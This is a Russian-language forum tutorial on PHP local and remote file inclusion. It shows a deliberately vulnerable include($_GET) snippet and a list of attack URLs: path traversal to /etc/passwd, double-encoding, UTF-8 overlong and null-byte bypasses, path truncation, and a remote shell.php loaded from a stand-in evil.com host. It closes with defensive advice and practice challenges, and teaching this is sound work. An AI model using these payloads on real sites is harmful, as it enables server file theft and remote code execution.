Загрузка...

Всё о File Inclusion и Remote file inclusion

Тема в разделе Веб уязвимости создана пользователем NK_TRIPLLE 12 мар 2025. (поднята 23 апр 2025) 213 просмотров

Загрузка...
  1. NK_TRIPLLE
    NK_TRIPLLE Автор темы 12 мар 2025 https://nk-triplle.com/ 3658 30 май 2022
    [IMG]
    Теория:
    File Inclusion - это тип уязвимости, который возникает, когда веб‑приложение позволяет пользователю загружать и исполнять файлы. Такие уязвимости особенно опасны, так как дают злоумышленнику возможность выполнить произвольный код на сервере.

    Remote file inclusion - загрузка вредоносных файлов на сайт и выполнение их на сервере сайта

    Практика:
    Для вашего понимая как не стоит писать код:

    PHP
    <?php[/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5]$file = $_GET['file'];[/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5]include($file);[/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5]?>


    Данный код позволяет выполнять инжектить код подставив параметр file.
    Самое простое но эффективное узнать пароль от сервера
    Код
    http://site.com/index.php?file=/etc/passwd[/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5]


    Тоже самое только для page


    PHP
    <?php[/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5]$file = $_GET['page'];[/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5]include($file);[/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5]?>


    Код
    http://example.com/index.php?page=../../../etc/passwd



    Очевидно что, если у нас не получается обычным текстом вытащить пароль, мы можем прибегнуть к его кодированию.
    Двойная кодировка payload:

    Код
    http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd[/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5]http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00


    Кодировка UTF8:

    Код
    http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd[/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5]http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00


    Обрезка пути актуально для php сайтов:
    Код
    http://example.com/index.php?page=../../../etc/passwd............[ADD MORE][/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5]http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE][/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5]http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE][/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5]http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd



    Думаю вы уже вполне понимаете что данная уязвимость даёт нам полный доступ на просмотр конфиденциальных данных.
    Плавно переходим к Remote file inclusion;
    Код
    http://example.com/index.php?page=http://evil.com/shell.php/CODE][/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5]Таким образом мы выполняем php код на сервере взятый с нашего сайта[/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5]Точно также мы можем декодировать ссылку, если обычный url фильтруется сервером[/SIZE][/COLOR]
    [COLOR=rgb(255, 255, 255)][SIZE=5][CODE=code]http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.php


    Да бы не сидеть и тупить самому вы можете использовать готовые скрипты для проверки FI и RFI на вашем сайте;
    https://github.com/hansmach1ne/LFImap
    https://github.com/Chocapikk/LFIHunt


    Выводы;
    Никогда не позволяйте пользователям подключать файлы, не используйте include для динамических блоков сайта.
    Всегда тестируйте свои сайты на проникновение, что бы в один момент не остаться у разбитого корыта.

    Также вы можете закрепить свои знания на данных машинах;
    https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion
    https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion-Double-encoding
    https://www.root-me.org/en/Challenges/Web-Server/Remote-File-Inclusion

    Спасибо за прочтение, надеюсь вам понраивлось, у меня ещё много идей для статей в этом разделе, но также буду рад разобрать конкретные уязвимости которые интересны вам :surprised_cat:
     
    12 мар 2025 Изменено
Top